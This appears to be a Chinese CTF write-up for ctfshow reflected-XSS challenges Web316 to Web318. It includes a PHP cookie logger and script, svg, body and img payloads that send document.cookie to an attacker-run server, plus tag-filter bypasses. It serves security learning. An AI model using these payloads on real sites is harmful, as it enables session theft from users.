ctfshow(316,317,318)--XSS漏洞--反射性XSS
反射型XSS相关知识
Web316
进入界面：
审计
显示是关于反射性XSS的题目。
思路
首先想到利用XSS平台解题，看其他师傅的wp提示flag是在cookie中。
当前页面的cookie是flag=you%20are%20not%20admin%20no%20flag。
但是这里我使用XSS平台，显示的cookie还是这样，并不能得到flag。该方法先作罢。
于是我们使用稳定性更高的方法：写js代码将cookie传到自己的服务器上。
先在服务器写一个php文件：
//flag.php
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>
然后在靶机中传入如下代码：
<script>location.href="http://[自己服务器的IP]/flag.php?cookie="+document.cookie</script>
提交之后成功跳转到自己的网页。
查看自己服务器中的cookie.txt文件，得到flag。
Web317
界面与上一题相同。
但是过滤了<script>，大小写混写也不能使用。
考虑使用HTML的其他标签。
这道题我们使用<svg>与onload属性
<svg onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>//svg 是用于绘图的标签
//onload事件 是页面加载成功后执行的事件
得到flag.
其他形式的payload:
//body标签也支持onload事件
<body onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>//img标签支持onerror属性。当图片加载发生了错误，就会触发该事件
<img src='#' onerror="window.location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>
Web318
和上一题相同，不过多过滤了img标签。
使用body或者svg标签即可。
<body onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/><svg onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>
得到flag.
相关文章：
ctfshow(316,317,318)--XSS漏洞--反射性XSS
反射型XSS相关知识 Web316 进入界面： 审计 显示是关于反射性XSS的题目。 思路 首先想到利用XSS平台解题，看其他师傅的wp提示flag是在cookie中。 当前页面的cookie是flagyou%20are%20not%20admin%20no%20flag。 但是这里我使用XSS平台，…...
Visual Studio2022版本的下载与安装
1-首先打开微软的官网，下面就是链接 下载 Visual Studio Tools - 免费安装 Windows、Mac、Linux免费下载 Visual Studio IDE 或 VS Code。 在 Windows、Mac 上试用 Visual Studio Professional 或企业版。https://visualstudio.microsoft.com/zh-hans/downloads/?…...
nodeJS程序如何引入依赖包
在 Node.js 运行时中引入依赖包通常通过以下步骤完成： 初始化项目： 首先，你需要初始化一个 Node.js 项目。如果你还没有 package.json 文件，可以使用 npm init 命令来创建它。运行以下命令并按提示输入相关信息： npm i…...
建网站怎么建？只需几个步骤
在这个网络飞速发展的时代，越来越多的人都渴望拥有自己的网站。然而，对于大多数新手来说，如何建立自己的网站可能充满了挑战。本文将为您详细介绍建网站的关键步骤，让您能够轻松搭建自己的网站。 选择适合的建站工具 虽然市面上有…...
机器学习课程总结（个人向）
前言 通过看课件PPT整理的笔记，没有截图 由于大部分内容已经耳熟能详了，故记录比较简略，只记录了一些概念和需要记忆的地方。 里面有较多的个人观点，未必正确。如有错误，还请各位大佬指正 正文 绪论 机器学习的定…...
数据分析-43-时间序列预测之深度学习方法GRU
文章目录 1 时间序列1.1 时间序列特点1.1.1 原始信号1.1.2 趋势1.1.3 季节性和周期性1.1.4 噪声1.2 时间序列预测方法1.2.1 统计方法1.2.2 机器学习方法1.2.3 深度学习方法2 GRU2.1 模拟数据2.2 数据归一化2.3 生成滞后特征2.4 切分训练集和测试集2.5 模型训练2.6 模型预测3 参…...
Pandas | 数据分析时将特定列转换为数字类型 float64 或 int64的方法
类型转换 传统方法astype使用value_counts统计通过apply替换并使用astype转换 pd.to_numericx对连续变量进行转化⭐参数：返回值：示例代码： isnull不会检查空字符串 数据准备 有一组数据信息如下，其中主要将TotalCharges、MonthlyC…...
Elasticsearch的自定义查询方法到底是啥？
Elasticsearch主要的目的就是查询，默认提供的查询方法是查询全部，不满足我们的需求，可以定义查询方法 自定义查询方法 单条件查询 我们查询的需求：从title中查询所有包含"鼠标"这个分词的商品数据 SELECT * FROM it…...
Jenkins找不到maven构建项目
有的可能没有出现maven这个选项 解决办法：需要安装Maven项目插件 输入Maven Integration plugin...
怎么更换IP地址 改变IP归属地的三种方法
要更换自己的IP地址，您可以按照以下步骤进行操作： 1. 了解IP地址类型：首先，您需要了解您当前使用的IP地址类型。IP地址分为静态IP和动态IP两种。静态IP地址是固定的，使用第三方软件比如S深度IP转换器；而使用…...
C#-异步查询示例
文章速览 CancellationTokenSource 概述代码示例 坚持记录实属不易，希望友善多金的码友能够随手点一个赞。 共同创建氛围更加良好的开发者社区！ 谢谢~ CancellationTokenSource 概述 使用System.Threading下的CancellationTokenSource类，进…...
设计模式之适配器模式(从多个MQ消息体中，抽取指定字段值场景)
前言 工作到3年左右很大一部分程序员都想提升自己的技术栈，开始尝试去阅读一些源码，例如Spring、Mybaits、Dubbo等，但读着读着发现越来越难懂，一会从这过来一会跑到那去。甚至怀疑自己技术太差，慢慢也就不愿意再触碰这…...
vue+exceljs前端下载、导出xlsx文件
首先安装插件 npm install exceljs file-saver第一种 简单导出 //页面引入 import ExcelJS from exceljs; import {saveAs} from file-saver; export default {methods: { /** 导出操作 */async handleExportFun() {let that this// 获取当前年月日 用户下载xlsx的文件名称设…...
算法定制LiteAIServer摄像机实时接入分析平台烟火检测算法的主要功能
在现代社会，随着人工智能技术的飞速发展，智能监控系统在公共安全领域的应用日益广泛。其中，烟火检测作为预防火灾的重要手段，其准确性和实时性对于减少火灾损失、保障人民生命财产安全具有重要意义。而算法定制LiteAIServer烟火检…...
用 Python 从零开始创建神经网络（二）
用 Python 从零开始创建神经网络（二） 引言1. Tensors, Arrays and Vectors：2. Dot Product and Vector Additiona. Dot Product （点积）b. Vector Addition （向量加法） 3. A Single Neuron with …...
嘉吉连续第七年亮相进博会
以“新质绿动，共赢未来”为主题，嘉吉连续第七年亮相进博会舞台。嘉吉带来了超过120款产品与解决方案，展示嘉吉在农业、食品、金融和工业等领域以客户为中心的创新成果。这些产品融合了嘉吉在相关领域的前瞻性思考，以及对本土市场的…...
设计模式之单列模式(7种单例模式案例，Effective Java 作者推荐枚举单例模式)
前言 在设计模式中按照不同的处理方式共包含三大类；创建型模式、结构型模式和行为模式，其中创建型模式目前已经介绍了其中的四个；工厂方法模式、抽象工厂模式、生成器模式和原型模式，除此之外还有最后一个单例模式。 单列模式介绍…...
多个服务器共享同一个Redis Cluster集群，并且可以使用Redisson分布式锁
Redisson 是一个高级的 Redis 客户端，它支持多种分布式 Java 对象和服务。其中之一就是分布式锁（RLock），它可以跨多个应用实例在多个服务器上使用同一个 Redis 集群，为这些实例提供锁服务。 当你在不同服务器上运行的…...
100种算法【Python版】第59篇——滤波算法之扩展卡尔曼滤波
本文目录 1 算法步骤2 算法示例2.1 示例描述2.2 python代码3 算法应用：机器人位姿估计扩展卡尔曼滤波（EKF）是一种处理非线性系统的状态估计算法。它通过线性化非线性系统来实现类似于线性卡尔曼滤波的效果。 1 算法步骤 （1）初始化 初始状态： x ^ 0 ∣ 0 \hat{x}_{0|0}...
制造业数字化转型的强大赋能平台：盘古信息IMS OS工软技术底座
在制造业数字化转型的浪潮中，技术底座的选择与实施至关重要。它不仅决定了企业数字化转型的深度与广度，还影响着企业的生产效率、成本控制和市场竞争力。盘古信息IMS OS作为一款强大的工软技术底座，凭借其高度模块化、可配置的设计理念&#…...
OTA电路仿真实战：用Virtuoso617分析频率响应与相位特性
OTA电路仿真实战：用Virtuoso617分析频率响应与相位特性 在模拟电路设计领域，运算跨导放大器（OTA）作为核心构建模块，其性能直接决定了整个系统的表现。本文将带您深入Virtuoso617的仿真世界，通过实战案例解…...
从数据到洞察：如何利用2024版建筑高度SHP数据，5步完成城市热岛效应初步分析
从数据到洞察：如何利用2024版建筑高度SHP数据，5步完成城市热岛效应初步分析 城市热岛效应是城市化进程中普遍存在的环境问题，表现为城市中心区域温度明显高于周边郊区的现象。这种现象不仅影响居民的生活质量，还会加剧能源消耗和空…...
Qwen3-ASR-1.7B部署案例：高校科研组构建本地化学术讲座语音知识库
Qwen3-ASR-1.7B部署案例：高校科研组构建本地化学术讲座语音知识库 1. 项目背景与价值 高校科研团队经常举办各类学术讲座和研讨会，这些宝贵的学术内容通常以音频形式记录。传统的人工转录方式耗时耗力，且对于专业术语密集的学术内容&#x…...
终极罗技鼠标压枪宏指南：3分钟快速上手，告别武器后坐力困扰！
终极罗技鼠标压枪宏指南：3分钟快速上手，告别武器后坐力困扰！ 【免费下载链接】logitech-pubg PUBG no recoil script for Logitech gaming mouse / 绝地求生 罗技 鼠标宏 项目地址: https://gitcode.com/gh_mirrors/lo/logitech-pubg …...
西北工业大学GeekOS实验踩坑记：从分段到分页，手把手教你搞定Project4的虚拟内存
西北工业大学GeekOS实验深度解析：虚拟内存实现与优化实战 实验背景与核心挑战 操作系统课程中的GeekOS项目一直是计算机专业学生深入理解系统底层原理的重要实践环节。Project4作为其中的关键里程碑，要求学生从分段存储管理过渡到分页虚拟内存系统的实…...
C++ 异常安全的最佳策略
C 异常安全的最佳策略 在C开发中，异常安全是确保程序在抛出异常时仍能保持正确性和资源管理的关键。异常处理不当可能导致内存泄漏、数据不一致或资源未释放等问题。本文将探讨C异常安全的最佳策略，帮助开发者编写更健壮的代码。 资源管理：…...
避坑指南：STM32CubeIDE按键消抖到底怎么做？HAL库延时函数调用详解
STM32按键消抖实战：从HAL_Delay到定时器的进阶方案 按键消抖是嵌入式开发中最基础却又最容易被忽视的技术细节之一。许多开发者在初次实现按键功能时，往往直接读取GPIO状态就认为完成了任务，直到产品进入现场测试阶段才发现按键响应不稳定、误…...
Phi-3-Mini-128K高并发服务架构设计：负载均衡与自动扩缩容策略
Phi-3-Mini-128K高并发服务架构设计：负载均衡与自动扩缩容策略 你是不是也遇到过这种情况？自己部署的AI模型服务，平时用着挺好，一旦用户量稍微上来点，或者有人发了个长请求，服务就卡死甚至直接挂掉。然后就…...
阿里小云KWS模型在STM32平台上的轻量化部署
阿里小云KWS模型在STM32平台上的轻量化部署 1. 为什么要在STM32上跑语音唤醒 很多开发者第一次听说要在STM32这种资源受限的微控制器上部署语音唤醒模型时，第一反应往往是：这可能吗？毕竟STM32通常只有几百KB的Flash和几十KB的RAM࿰…...
从提示词到成图：雯雯的后宫-造相Z-Image-瑜伽女孩真实案例分享（含新月式示例）
从提示词到成图：雯雯的后宫-造相Z-Image-瑜伽女孩真实案例分享（含新月式示例） 想用AI生成一张完美的瑜伽女孩图片，却总是被“AI手”、“奇怪姿势”和“塑料感”劝退？别急，今天我们就来手把手拆解一个真实案…...